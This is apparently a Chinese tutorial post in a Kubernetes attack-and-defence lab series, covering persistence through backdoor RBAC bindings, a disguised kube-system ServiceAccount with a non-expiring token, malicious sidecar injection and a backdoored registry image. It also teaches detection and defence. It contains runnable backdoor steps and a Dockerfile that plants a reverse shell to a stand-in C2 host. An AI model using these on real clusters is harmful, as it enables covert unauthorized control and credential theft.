iT邦幫忙

2026 iThome 鐵人賽

DAY 6
0
Kubernetes

資安這條路:從攻擊者視角看 Kubernetes系列 第 6

Day 6|五種持久化:RBAC 竄改 + 後門 SA + Sidecar 注入 + 映像植入

  • 分享至 

  • xImage
  •  

資安這條路:從攻擊者視角看 Kubernetes

ATT&CK TA0003 Persistence——攻擊者如何確保即使被發現、被踢出,仍能回到叢集。

概覽

Persistence 是 ATT&CK 中技術數量最多的戰術(7 個技術),因為攻擊者必須在多個層面埋下後門才能確保持久存取。與傳統主機上的持久化(crontab、systemd、registry run key)不同,K8s 的持久化發生在 API 物件層面——修改的是 YAML 資源,不是檔案系統。

場景 ATT&CK 技術 攻擊手法 隱蔽性
S09 T1098 Account Manipulation 新增 ClusterRoleBinding 給攻擊者 SA
S10 T1136 Create Account 在 kube-system 建立隱藏 SA + cluster-admin
S11 T1543 Create/Modify System Process Mutating Webhook 注入惡意 Sidecar 很高
S12 T1525 Implant Internal Image 後門映像推入私有 Registry 很高
S07 T1053 Scheduled Task/Job (共用)CronJob 持久化
S03 T1078 Valid Accounts (共用)維持竊取的合法帳號
S02 T1133 External Remote Services (共用)維持外部遠端存取

其中 S07、S03、S02 在前幾天已經介紹過,今天聚焦在 S09–S12 四個專屬 Persistence 的場景。


前置準備

所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。

開始前請確認以下環境就緒。

1. 確認靶場資源運行中

# 主機終端
kubectl get pods -n koad -l "koad-scenario in (S09,S10,S11,S12)"
kubectl get sa -n koad attacker-sa
kubectl get sa -n kube-system system-controller

預期結果: Pod 為 Running 狀態,SA 已建立。

如果資源不存在,重新部署:

kubectl apply -f scenarios/persistence/

2. 開啟 Falco 即時監控

# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|rbac\|clusterrole\|webhook\|registry"

學習目標

完成本日實作後,你將能夠:

  • 建立後門 ClusterRoleBinding 將任意 SA 提升為 cluster-admin
  • 在 kube-system 中建立偽裝的後門 SA 並取得長期 Token
  • 理解 MutatingWebhookConfiguration 如何被用於 Sidecar 注入攻擊
  • 操作私有 Registry 並理解映像植入攻擊的供應鏈風險
  • 觀察 Audit Log 如何偵測 RBAC 異動

S09:RBAC 竄改(T1098)

攻擊原理

RBAC 是 Kubernetes 的核心授權機制。攻擊者只要有建立 ClusterRoleBinding 的權限,就能把任何 ServiceAccount 提升為 cluster-admin——這是 K8s 環境中最簡單、最有效的持久化手段。

與傳統 Linux 後門(如 crontab、systemd service)相比,RBAC 竄改有幾個優勢:

  • 隱蔽性高:一條 ClusterRoleBinding 混在幾十條合法綁定中,不容易被發現
  • 持久性強:除非明確刪除,ClusterRoleBinding 會一直存在
  • 跨 Namespace:ClusterRoleBinding 是叢集級別的,不受 Namespace 限制

RBAC 架構概述

先理解 RBAC 的四個核心物件:

ClusterRole        ← 定義「能做什麼」(叢集級別)
Role               ← 定義「能做什麼」(Namespace 級別)
ClusterRoleBinding ← 綁定「誰」+「ClusterRole」(叢集級別)
RoleBinding        ← 綁定「誰」+「Role 或 ClusterRole」(Namespace 級別)

攻擊者的選擇:

攻擊方式 範圍 隱蔽性 權限
ClusterRoleBinding → cluster-admin 叢集全域 低(太明顯) 最高
RoleBinding → admin(特定 NS) 單一 NS 該 NS 完整權限
ClusterRoleBinding → 自訂 Role 叢集全域 可精確控制

聰明的攻擊者不會直接綁定 cluster-admin(太容易被發現),而是建立一個自訂 ClusterRole,只給「剛好夠用」的權限:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: system-monitoring  # 偽裝成監控用途
rules:
  - apiGroups: [""]
    resources: ["pods/exec"]       # 在任意 Pod 執行指令
    verbs: ["create"]
  - apiGroups: [""]
    resources: ["secrets"]         # 讀取 Secrets
    verbs: ["get", "list"]
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list"]

這條 ClusterRole 看起來像合法的監控需求,但實際上給了攻擊者 pods/exec + 讀取 Secrets 的能力——足以在叢集中為所欲為。

KOAD 場景

# 1. 建立攻擊者 SA
apiVersion: v1
kind: ServiceAccount
metadata:
  name: attacker-sa
  namespace: koad
  labels:
    koad-scenario: S09
    mitre-attck: T1098

---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: koad-attacker-admin
  labels:
    koad-scenario: S09
  annotations:
    description: "Attacker-created binding — escalates attacker-sa to cluster-admin"
subjects:
  - kind: ServiceAccount
    name: attacker-sa
    namespace: koad
roleRef:
  kind: ClusterRole
  name: cluster-admin       # 最高權限
  apiGroup: rbac.authorization.k8s.io

動手攻擊

以下所有步驟在主機終端執行(模擬攻擊者已取得 kubectl 存取權)。

步驟 1:建立後門 ClusterRoleBinding

# 主機終端
kubectl create clusterrolebinding backdoor \
    --clusterrole=cluster-admin \
    --serviceaccount=koad:attacker-sa

預期結果:

clusterrolebinding.rbac.authorization.k8s.io/backdoor created

一行 kubectl create 就建立了一個 cluster-admin 等級的後門——即使原始入侵路徑被修補,攻擊者仍可透過這個 ClusterRoleBinding 保持叢集完整控制權。

Falco 觀察:建立 ClusterRoleBinding 時,K8s Audit Log 會記錄此操作。如果啟用了 Falco k8s_audit plugin,會觸發告警:

[CRITICAL] Create ClusterRoleBinding to cluster-admin (user=system:admin binding=backdoor)

建立後門 ClusterRoleBinding 綁定 cluster-admin

步驟 2:驗證攻擊者權限

kubectl auth can-i --list --as=system:serviceaccount:koad:attacker-sa | head -3

預期結果:

Resources   Non-Resource URLs   Resource Names   Verbs
*.*         []                  []               [*]
            [*]                 []               [*]

攻擊者現在是 cluster-admin——可以做任何事。

驗證後門 SA 已取得 cluster-admin 權限

步驟 3:列出所有高權限綁定

kubectl get clusterrolebindings -l koad-scenario

預期結果:

NAME                        ROLE                        AGE
koad-attacker-admin         ClusterRole/cluster-admin   39m
koad-overprivileged-binding ClusterRole/cluster-admin   39m
system-controller-binding   ClusterRole/cluster-admin   39m

三個 ClusterRoleBinding 都綁定了 cluster-admin——攻擊者建立了多個後門。system-controller-binding 的名稱刻意偽裝成系統元件,增加了被發現的難度。

列出 KOAD 場景建立的所有 ClusterRoleBinding

枚舉現有 RBAC(攻擊者偵察)

攻擊者在竄改 RBAC 之前,通常會先了解現有的權限配置:

# 列出所有 ClusterRoleBinding 及其 subjects
$ kubectl get clusterrolebindings -o json | \
    jq -r '.items[] | "\(.metadata.name)\t\(.roleRef.name)\t\(.subjects // [] | map("\(.kind)/\(.namespace // "cluster")/\(.name)") | join(","))"' | \
    column -t -s $'\t'

# 找出所有綁定到 cluster-admin 的 binding
$ kubectl get clusterrolebindings -o json | \
    jq '.items[] | select(.roleRef.name == "cluster-admin") |
    {name: .metadata.name, subjects: [.subjects[]? | "\(.kind)/\(.name)"]}'

# 找出有 secrets 讀取權限的 ClusterRole
$ kubectl get clusterroles -o json | \
    jq '.items[] | select(.rules[]? | .resources[]? == "secrets") | .metadata.name'

為什麼特別危險

即使管理員發現並刪除了攻擊者的 Pod,只要 koad-attacker-admin 這條 ClusterRoleBinding 還在,攻擊者隨時可以用 attacker-sa 的 Token 重新連入叢集。

設計理由

S09 選擇直接綁定 cluster-admin 而非自訂 ClusterRole,是為了讓學員在 kubectl get clusterrolebindings 中一眼看出異常,建立「先能辨識,再練隱蔽」的學習路徑。YAML 中刻意加上 koad-scenario label 和 description annotation,方便與真實系統元件區分,同時示範攻擊者在實際環境中不會留下的線索。場景使用獨立的 attacker-sa 而非借用現有 SA,是為了完整呈現「建立帳號 → 提權 → 持久化」的完整路徑。

YAML 關鍵欄位解析

subjects:
  - kind: ServiceAccount
    name: attacker-sa        # 攻擊者自建的 SA,不是系統既有的
    namespace: koad          # 限制在 koad namespace,降低對靶場的衝擊

roleRef:
  kind: ClusterRole
  name: cluster-admin        # 叢集最高權限——生產環境絕不應該出現手動綁定
  apiGroup: rbac.authorization.k8s.io

roleRef 一旦建立就不可修改(K8s API 限制),攻擊者必須刪除再重建才能換綁定目標,這也是 Audit Log 偵測的關鍵特徵。


S10:後門 ServiceAccount(T1136)

攻擊原理

比起 S09 直接建 ClusterRoleBinding,S10 更進一步——在 kube-system namespace 中建立一個偽裝成系統元件的 ServiceAccount。

kube-system 是 K8s 核心元件所在的 Namespace,管理員通常不會仔細審查裡面的每個 SA。攻擊者利用這個盲點,建立名為 system-controller 的後門 SA。

為什麼 kube-system 是理想的藏身處?

$ kubectl get sa -n kube-system --no-headers | wc -l
35

# 看看裡面都有什麼——大量系統 SA 提供完美掩護
$ kubectl get sa -n kube-system -o name | head -10
serviceaccount/attachdetach-controller
serviceaccount/calico-kube-controllers
serviceaccount/calico-node
serviceaccount/certificate-controller
serviceaccount/clusterrole-aggregation-controller
serviceaccount/coredns
serviceaccount/cronjob-controller
serviceaccount/daemon-set-controller
serviceaccount/default
serviceaccount/deployment-controller

35 個 SA,名稱全部是 xxx-controllerxxx-node 的格式。多一個 system-controller 完全不突兀。

K8s 1.24+ Token 變更

K8s 1.24 移除了 SA Token 的自動建立。在 1.24 之前,每個 SA 都會自動產生一個永不過期的 Secret Token。1.24+ 後,需要手動建立:

# 手動建立持久 Token(K8s 1.24+)
apiVersion: v1
kind: Secret
metadata:
  name: system-controller-token
  namespace: kube-system
  annotations:
    kubernetes.io/service-account.name: system-controller  # 綁定到後門 SA
type: kubernetes.io/service-account-token

或者使用 TokenRequest API 取得短期 Token:

# 建立有效期 1 年的 Token(攻擊者的選擇)
$ kubectl create token system-controller \
    -n kube-system \
    --duration=8760h
eyJhbGciOiJSUzI1NiIsImtpZCI6...

安全影響: K8s 1.24 的變更讓後門 SA 的維護更困難——攻擊者必須定期重新產生 Token。但使用 Secret 類型的 Token 可以繞過這個限制。

KOAD 場景

# 1. 在 kube-system 建立偽裝的 SA
apiVersion: v1
kind: ServiceAccount
metadata:
  name: system-controller          # 看起來像系統元件
  namespace: kube-system           # 藏在核心 Namespace
  labels:
    koad-scenario: S10
  annotations:
    description: "Backdoor SA disguised as system component"

---
# 2. 綁定 cluster-admin
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system-controller-binding
subjects:
  - kind: ServiceAccount
    name: system-controller
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

---
# 3. 手動建立持久 Token
apiVersion: v1
kind: Secret
metadata:
  name: system-controller-token
  namespace: kube-system
  annotations:
    kubernetes.io/service-account.name: system-controller
type: kubernetes.io/service-account-token

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:確認後門 SA 存在

# 主機終端
kubectl get sa system-controller -n kube-system

預期結果:

NAME                SECRETS   AGE
system-controller   0         39m

後門 SA 建在 kube-system namespace 中,名稱偽裝成系統元件 system-controller——管理員很難在眾多系統 SA 中注意到它。

確認後門 SA 已建立在 kube-system 中

步驟 2:取得後門 SA 的 Token

kubectl get secret system-controller-token -n kube-system \
    -o jsonpath='{.data.token}' | base64 -d

預期結果:

eyJhbGciOiJSUzI1NiIsImtpZCI6Im...

取得了 JWT 格式的長期 Token。這個 Token 不會自動過期(非 Bound Token),攻擊者可以在任何地方用它存取叢集。

取得後門 SA 的長期 Token

步驟 3:用竊取的 Token 存取叢集

kubectl --token="$TOKEN" get nodes

預期結果:

NAME       STATUS   ROLES           AGE
minikube   Ready    control-plane   2h

用後門 Token 成功列出節點——持久化完成。即使原始攻擊路徑(如 SSRF)被修補,攻擊者仍然可以用這個 Token 隨時回來。

用後門 Token 成功存取叢集

步驟 4:從任何位置連入

kubectl --server=https://api-server:6443 \
    --token="$TOKEN" \
    --insecure-skip-tls-verify \
    get pods -A

預期結果:

NAMESPACE     NAME                               READY   STATUS    RESTARTS   AGE
kube-system   kube-apiserver-minikube             1/1     Running   0          2h
kube-system   etcd-minikube                       1/1     Running   0          2h
koad          attacker-xxx                        1/1     Running   0          1h
...

只要有 Token 和 API Server 位址,攻擊者可以從任何網路位置連入叢集。

從外部網路用後門 Token 列出所有 Pod

偵測難點

# kube-system 中有多少 SA?
$ kubectl get sa -n kube-system --no-headers | wc -l
35

# 哪些是可疑的?(在 KOAD 中有 label 可以過濾)
$ kubectl get sa -n kube-system -o json | \
    jq '.items[] | select(.metadata.labels."koad-scenario" != null) | .metadata.name'
"system-controller"

在真實環境中沒有 koad-scenario label 可以過濾,管理員必須逐一比對每個 SA 是否是系統預設建立的。

設計理由

S10 把後門 SA 放在 kube-system 並命名為 system-controller,是為了展示攻擊者如何利用命名慣例掩護自己——35 個系統 SA 中多一個 xxx-controller 幾乎無法察覺。額外建立 kubernetes.io/service-account-token 類型的 Secret,是為了對比 K8s 1.24+ 預設的 Bound Token(短期、有 audience)與舊版長期 Token 的安全差異,讓學員理解為什麼升級 K8s 版本本身就是一種防禦。

YAML 關鍵欄位解析

apiVersion: v1
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: system-controller  # 綁定目標 SA
type: kubernetes.io/service-account-token  # 此類型會自動填入 SA 的 JWT Token

這種 Secret 一旦建立,K8s 會自動在 data.token 中填入不過期的 JWT。攻擊者不需要呼叫 TokenRequest API,Token 就靜靜地躺在 Secret 裡等待被取用。


S11:惡意 Sidecar 注入(T1543)

攻擊原理

Kubernetes 的 MutatingWebhookConfiguration 可以在 Pod 建立時自動修改 Pod Spec。攻擊者如果控制了一個 Mutating Webhook,就能在每個新建立的 Pod 中自動注入惡意 Sidecar 容器。

這是 Istio、Linkerd 等 Service Mesh 注入 Envoy proxy 的相同機制——只是攻擊者注入的不是 proxy,而是資料竊取工具。

使用者建立 Pod

MutatingWebhookConfiguration 完整範例

一個完整的惡意 Webhook 配置長這樣:

apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
  name: pod-logging-injector    # 偽裝成日誌注入器
  labels:
    app: logging-infrastructure
webhooks:
  - name: inject.logging.internal
    admissionReviewVersions: ["v1"]
    sideEffects: None
    failurePolicy: Ignore       # 失敗時不阻擋 Pod 建立(避免引起注意)
    matchPolicy: Equivalent
    rules:
      - apiGroups: [""]
        apiVersions: ["v1"]
        operations: ["CREATE"]
        resources: ["pods"]
        scope: "Namespaced"
    namespaceSelector:
      matchExpressions:
        - key: kubernetes.io/metadata.name
          operator: NotIn
          values: ["kube-system", "kube-public"]  # 避免注入系統 Pod
    clientConfig:
      service:
        name: logging-injector-svc
        namespace: logging       # 看起來合法的 Namespace
        path: /mutate
      caBundle: LS0tLS1CRUdJ...  # Base64 編碼的 CA 證書

關鍵設計:

  • failurePolicy: Ignore:Webhook 掛掉時不影響正常 Pod 建立,避免引起注意
  • namespaceSelector:排除系統 Namespace,避免影響叢集穩定性
  • 名稱偽裝成 logging-injector:看起來像合法的日誌基礎設施

與 Istio Sidecar 注入的比較

特性 Istio 合法注入 惡意 Sidecar 注入
Namespace label istio-injection: enabled 無條件或偽裝 label
注入的容器 istio-proxy (Envoy) 任意惡意容器
功能 L7 流量代理 Token 竊取、資料外洩
failurePolicy Fail(阻擋不合規 Pod) Ignore(不引起注意)
來源 官方 Helm chart 攻擊者手動建立

KOAD 場景

S11 示範了一個被注入惡意 Sidecar 的 Pod:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: sidecar-injector-demo
  namespace: koad
spec:
  replicas: 1
  selector:
    matchLabels:
      app: sidecar-demo
  template:
    metadata:
      labels:
        app: sidecar-demo
        koad-scenario: S11
    spec:
      containers:
        # 正常的主應用
        - name: main-app
          image: nginx:1.27-alpine
          ports:
            - containerPort: 80

        # 惡意 Sidecar——偽裝成日誌收集器
        - name: logging-agent
          image: busybox:1.36
          command: ["sh", "-c"]
          args:
            - |
              echo "=== KOAD-S11: Malicious Sidecar ==="
              echo "This sidecar reads SA tokens and env vars"
              while true; do
                echo "[$(date)] Sidecar heartbeat — exfil simulation"
                # 真正的攻擊:讀取 SA Token
                TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
                # 真正的攻擊:讀取環境變數(可能包含密碼)
                env | grep -i -E "pass|key|secret|token" 2>/dev/null
                sleep 300
              done
          volumeMounts:
            - name: sa-token
              mountPath: /var/run/secrets/kubernetes.io/serviceaccount
              readOnly: true
      volumes:
        - name: sa-token
          projected:
            sources:
              - serviceAccountToken:
                  path: token

偵測方式

# 列出所有 MutatingWebhookConfiguration
$ kubectl get mutatingwebhookconfigurations
NAME                                   WEBHOOKS   AGE
kyverno-policy-mutating-webhook-cfg    1          1h
kyverno-resource-mutating-webhook-cfg  1          1h

# 檢查是否有可疑的 Webhook
$ kubectl get mutatingwebhookconfigurations -o json | \
    jq '.items[] | {name: .metadata.name, webhooks: [.webhooks[].clientConfig.service.name]}'

# 檢查 Pod 是否有多餘的容器
$ kubectl get pods -n koad -o json | \
    jq '.items[] | select(.spec.containers | length > 1) |
    {pod: .metadata.name, containers: [.spec.containers[].name]}'

如果看到不屬於已知系統(Kyverno、Istio、cert-manager)的 Webhook,就需要深入調查。

設計理由

S11 選擇 MutatingWebhook 而非直接修改 Deployment,是因為 Webhook 注入具有自動傳播性——攻擊者只需建立一次,所有新 Pod 都會被感染,這是其他持久化手法做不到的。KOAD 用 busybox:1.36 模擬惡意 Sidecar 而非真正的 C2 agent,確保靶場安全的同時保留了完整的攻擊邏輯(讀取 SA Token + 環境變數)。failurePolicy: Ignore 是設計重點——它讓 Webhook 掛掉時不影響正常部署,攻擊者不會因為 C2 斷線而暴露自己。

YAML 關鍵欄位解析

containers:
  - name: logging-agent     # 偽裝成日誌收集器,管理員不會起疑
    image: busybox:1.36     # 極小映像,不引入額外攻擊工具特徵
    volumeMounts:
      - name: sa-token
        mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        readOnly: true      # 唯讀掛載 SA Token——這是 Sidecar 的核心目標

Sidecar 與主容器共享同一個 Pod 的 SA Token。如果主容器的 SA 有高權限(如 pods/exec),Sidecar 也能用同樣的 Token 操作叢集。


S12:植入後門映像(T1525)

攻擊原理

攻擊者把含有後門的映像推入企業內部的 Registry,取代合法映像。當其他團隊拉取「正常」映像時,實際上執行的是被植入後門的版本。

攻擊鏈:

1. 拉取合法映像:nginx:1.27-alpine
2. 加入後門層:反向 Shell / 資料竊取 / 挖礦
3. 重新 tag:private-registry:5000/nginx:1.27-alpine
4. 推入內部 Registry
5. 受害者拉取「nginx」→ 執行後門

後門映像的建立方式

攻擊者使用多階段 Dockerfile,在合法映像上疊加後門層:

# 基於合法的 nginx 映像
FROM nginx:1.27-alpine

# 安裝攻擊工具(看似無害的套件名稱)
RUN apk add --no-cache curl socat nmap-ncat && \
    # 清除 APK cache 減少痕跡
    rm -rf /var/cache/apk/*

# 加入反向 Shell 腳本
COPY --chmod=755 <<EOF /usr/local/bin/healthcheck.sh
#!/bin/sh
# 偽裝成健康檢查,實際是反向 Shell
while true; do
  /usr/bin/ncat -e /bin/sh attacker.c2.server 4444 2>/dev/null
  sleep 300
done
EOF

# 修改 entrypoint 同時啟動 nginx 和後門
RUN echo '/usr/local/bin/healthcheck.sh &' >> /docker-entrypoint.d/99-backdoor.sh && \
    chmod +x /docker-entrypoint.d/99-backdoor.sh

OCI 映像層架構

理解 OCI 映像的層(Layer)架構有助於偵測後門:

docker history nginx:1.27-alpine
IMAGE          SIZE      COMMENT
abc123         0B        CMD ["nginx" ...]
def456         5.2MB     # nginx binary
ghi789         7.1MB     # base alpine

docker history private-registry:5000/nginx:1.27-alpine
IMAGE          SIZE      COMMENT
xxx000         4.2KB     # backdoor script     ← 多了這幾層!
yyy111         12.3MB    # curl + socat + ncat  ← 明顯異常
abc123         0B        CMD ["nginx" ...]
def456         5.2MB     # nginx binary
ghi789         7.1MB     # base alpine

使用 dive 工具可以逐層檢查映像內容:

$ dive private-registry:5000/nginx:1.27-alpine
# 視覺化每一層添加/修改了哪些檔案

KOAD 場景

S12 部署了一個未認證的私有 Registry:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: private-registry
  namespace: koad-registry
spec:
  replicas: 1
  selector:
    matchLabels:
      app: registry
  template:
    metadata:
      labels:
        app: registry
    spec:
      containers:
        - name: registry
          image: registry:2
          ports:
            - containerPort: 5000
          env:
            - name: REGISTRY_STORAGE_DELETE_ENABLED
              value: "true"       # 允許刪除映像(攻擊者替換用)
---
apiVersion: v1
kind: Service
metadata:
  name: private-registry
  namespace: koad-registry
spec:
  type: NodePort
  ports:
    - port: 5000
      nodePort: 30500             # 對外暴露

動手攻擊

以下所有步驟在主機終端執行。

步驟 1:查看 Registry 中的映像

# 主機終端
curl -s http://$(minikube ip):30500/v2/_catalog

預期結果:

{"repositories":[]}

Registry 目前是空的——接下來模擬攻擊者推入後門映像。

查看私有 Registry 中的映像列表

步驟 2:拉取正常映像並重新 tag

docker pull nginx:1.27-alpine

預期結果:

1.27-alpine: Pulling from library/nginx
Digest: sha256:6af79ae5...
Status: Downloaded newer image for nginx:1.27-alpine

從 Docker Hub 拉取 nginx 映像到本機——作為被污染映像的基底。

docker tag nginx:1.27-alpine $(minikube ip):30500/nginx:1.27-alpine

預期結果:

(無輸出,tag 已建立)

將合法映像重新標記(tag)為目標 Registry 的位址。下一步推送時,這個映像就會覆蓋 Registry 中的原始映像——所有拉取它的 Pod 都會執行被植入後門的版本。

拉取 nginx 映像並重新標記為私有 Registry 位址

步驟 3:推入後門映像到私有 Registry

docker push $(minikube ip):30500/nginx:1.27-alpine

預期結果:

The push refers to repository [192.168.49.2:30500/nginx]
...
1.27-alpine: digest: sha256:xxx size: 1568

受害者拉取時會取得被植入的版本——如果攻擊者在 tag 之前修改了映像(加入後門),所有使用這個 Registry 的服務都會被感染。

推入可能包含後門的映像到私有 Registry

為什麼 latest tag 特別危險

latest 是 Docker 的預設 tag,它不指向任何固定版本。攻擊者只要推一個新映像覆蓋 latest,所有使用 image: nginx:latest 的 Deployment 在下次重啟時就會拉到後門版本。

# 危險
image: nginx:latest

# 安全
image: nginx:1.27-alpine

# 最安全——使用 digest
image: nginx@sha256:6af79ae5de407283dcea8b00d5c37ace95441fd58a8b1d2aa1ed93f5511bb18c

設計理由

S12 部署了一個未認證的私有 Registry(無 TLS、無 auth),是為了展示企業內部 Registry 常見的配置錯誤——很多團隊假設內網是安全的,不設認證。REGISTRY_STORAGE_DELETE_ENABLED: "true" 允許刪除映像,讓攻擊者可以刪掉原始映像再推入後門版本,實作完美替換。場景使用 NodePort 30500 暴露 Registry,模擬生產環境中 Registry 被意外暴露到外部網路的情況。

YAML 關鍵欄位解析

env:
  - name: REGISTRY_STORAGE_DELETE_ENABLED
    value: "true"            # 允許 DELETE API——攻擊者可刪除原始映像再替換

spec:
  type: NodePort
  ports:
    - port: 5000
      nodePort: 30500        # 對外暴露,無需認證即可 push/pull

沒有 TLS 意味著映像傳輸是明文的(可被中間人攻擊),沒有認證意味著任何能存取 30500 連接埠的人都能推入映像。這兩個缺陷加在一起,讓供應鏈攻擊變得極為簡單。


持久化的隱蔽性比較

技術 隱蔽性 持久性 範圍 偵測難度 所需權限
S09 RBAC 竄改 高(需手動刪除) 叢集 中(audit log) RBAC 管理權限
S10 後門 SA 叢集 高(混入系統 SA) kube-system 寫入
S11 Sidecar 注入 很高 很高(自動感染新 Pod) 叢集 很高(Webhook 不常被審計) admissionregistration 權限
S12 映像植入 很高 很高(供應鏈感染) 跨叢集 高(需映像簽章驗證) Registry 推送權限
S07 CronJob 中(可排程) Namespace 低(kubectl get cronjobs) Pod 建立權限

現實案例

TeamTNT(2020-2022)

TeamTNT 是最知名的 K8s/容器攻擊組織之一,他們的持久化手法包括:

  • RBAC 竄改:建立 clusterrole-aggregation-controller-admin 等偽裝名稱的 ClusterRoleBinding
  • CronJob:在 kube-system 中建立名為 kube-controller 的 CronJob,定時下載挖礦程式
  • 映像植入:將挖礦映像推入被攻陷的 Registry,tag 為 pause:3.2(偽裝成 K8s 系統映像)

Hildegard 惡意軟體(2021)

Unit 42 發現的 Hildegard 惡意軟體針對 K8s 叢集的攻擊:

  • 透過 kubelet API 初始存取
  • 建立 CronJob 持久化
  • 利用 tmate 建立反向 Shell(模擬 External Remote Services)
  • 部署 Monero 挖礦程式

Siloscape(2021)

首個已知的針對 Windows 容器的惡意軟體:

  • 透過容器逃逸取得 Node 存取
  • 在 K8s 中建立後門 ServiceAccount
  • 從 Tor C2 伺服器下載後續 payload

ATT&CK 攻擊鏈視角

Persistence 是攻擊者「回來」的保險——一旦埋好後門,即使初始存取管道被關閉也無妨:

TA0001 Initial Access


偵測總結

場景 偵測工具 偵測方法 偵測規則
S09 RBAC 竄改 K8s Audit Log verb=create resource=clusterrolebindings 任何非管理員建立 CRB
S10 後門 SA K8s Audit Log kube-system 中新增 SA / Secret SA 數量基線比對
S11 Sidecar Kyverno 監控 MutatingWebhookConfiguration 變更 Webhook 白名單
S12 映像植入 Cosign / Trivy 映像簽章驗證 + 漏洞掃描 未簽章映像告警

Falco 偵測缺口: S09 和 S10 的偵測需要 k8s_audit 規則(非 syscall 規則)。KOAD 的 custom-rules.yaml 已準備好這些規則,但需要 Falco 的 k8saudit plugin 才能啟用。在 Day 25 會詳細說明配置方式。


CKS 考點對照

考點 本日內容 權重
RBAC 安全 ClusterRoleBinding 濫用與偵測 Cluster Hardening 15%
ServiceAccount 後門 SA + Token 持久化 Cluster Hardening 15%
Admission Webhook MutatingWebhook 安全風險 Supply Chain 20%
映像安全 Registry 安全 + tag 管理 Supply Chain 20%

清理與重設

完成攻擊演練後,清理攻擊過程中建立的後門資源:

# 主機終端
# 刪除 S09 建立的後門 ClusterRoleBinding
kubectl delete clusterrolebinding backdoor --ignore-not-found

# S10 和 S12 的靶場資源保留不動(它們是場景的一部分)
# 如需完全重設:
# kubectl delete -f scenarios/persistence/
# kubectl apply -f scenarios/persistence/

注意:不要刪除 system-controller-bindingkoad-attacker-admin——它們是 KOAD 靶場的一部分,Day 7 防禦篇會用到。


Troubleshooting

問題 原因 解法
kubectl create clusterrolebinding 被拒絕 目前使用者沒有 RBAC 管理權限 minikube kubectl -- 或確認 kubeconfig 指向正確的 context
S10 的 system-controller-token Secret 中沒有 token 欄位 K8s 版本差異,Secret 尚未被 controller 填入 token 等幾秒後重新查詢,或改用 kubectl create token system-controller -n kube-system
docker push 到私有 Registry 失敗:http: server gave HTTP response to HTTPS client Docker 預設要求 HTTPS,但 KOAD Registry 用 HTTP 在 Docker daemon.json 加入 "insecure-registries": ["<minikube-ip>:30500"] 並重啟 Docker
S12 Registry Pod 一直 Pending koad-registry Namespace 不存在或資源不足 確認 kubectl get ns koad-registry 存在,檢查 Node 可用資源
curl http://$(minikube ip):30500/v2/_catalog 無回應 Registry Service 尚未就緒或 NodePort 被防火牆阻擋 確認 Pod Running 狀態:kubectl get pod -n koad-registry,嘗試 minikube service private-registry -n koad-registry --url

本日小結

你完成了什麼

  • [x] 建立後門 ClusterRoleBinding 將攻擊者 SA 提升為 cluster-admin(S09)
  • [x] 用 --as 參數驗證攻擊者 SA 的權限等級(S09)
  • [x] 確認 kube-system 中偽裝的後門 SA 並取得長期 Token(S10)
  • [x] 用後門 Token 從外部存取叢集(S10)
  • [x] 理解 MutatingWebhookConfiguration 的 Sidecar 注入機制(S11)
  • [x] 操作私有 Registry 推入可能含後門的映像(S12)
  • [x] 觀察 Audit Log 對 RBAC 異動的記錄

完成度自我檢查

  • [ ] 能執行 S09 建立後門 ClusterRoleBinding 並用 --as 驗證提權結果
  • [ ] 能在 kube-system 中識別 S10 偽裝的後門 ServiceAccount
  • [ ] 能解釋 MutatingWebhookConfiguration 如何被用於 S11 Sidecar 注入
  • [ ] 能操作 S12 私有 Registry 推入映像並理解 tag vs digest 的安全差異
  • [ ] 能從 Audit Log 中找到 RBAC 異動記錄
  • [ ] 能說明 K8s 持久化與傳統 Linux 持久化(crontab、systemd)的差異

關鍵帶走

  1. RBAC 竄改:一條 ClusterRoleBinding = 永久的 cluster-admin(聰明的攻擊者用自訂 Role 降低被偵測機率)
  2. 後門 SA:藏在 kube-system 中偽裝成系統元件(K8s 1.24+ 需要手動建立 Token Secret)
  3. Sidecar 注入:Mutating Webhook 讓每個新 Pod 都帶後門(與 Istio 同機制)
  4. 映像植入:供應鏈級別的攻擊,從 Registry 層面感染(用 digest 而非 tag 可防)

K8s 持久化的核心特徵:攻擊不在 OS 層面,而在 API 物件層面。傳統的 Host-based 偵測(如 OSSEC)看不到 RBAC 變更和 Webhook 配置——你需要 K8s Audit Log。

下一步

明天 Day 7 防禦篇:Audit Log 偵測 RBAC 異動 + Cosign 映像簽章 + Webhook 審計。



上一篇
Day 5|防禦執行:Admission Control + RBAC 最小權限
下一篇
Day 7|防禦持久化:Audit Log + RBAC 監控 + 映像簽章
系列文
資安這條路:從攻擊者視角看 Kubernetes7
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言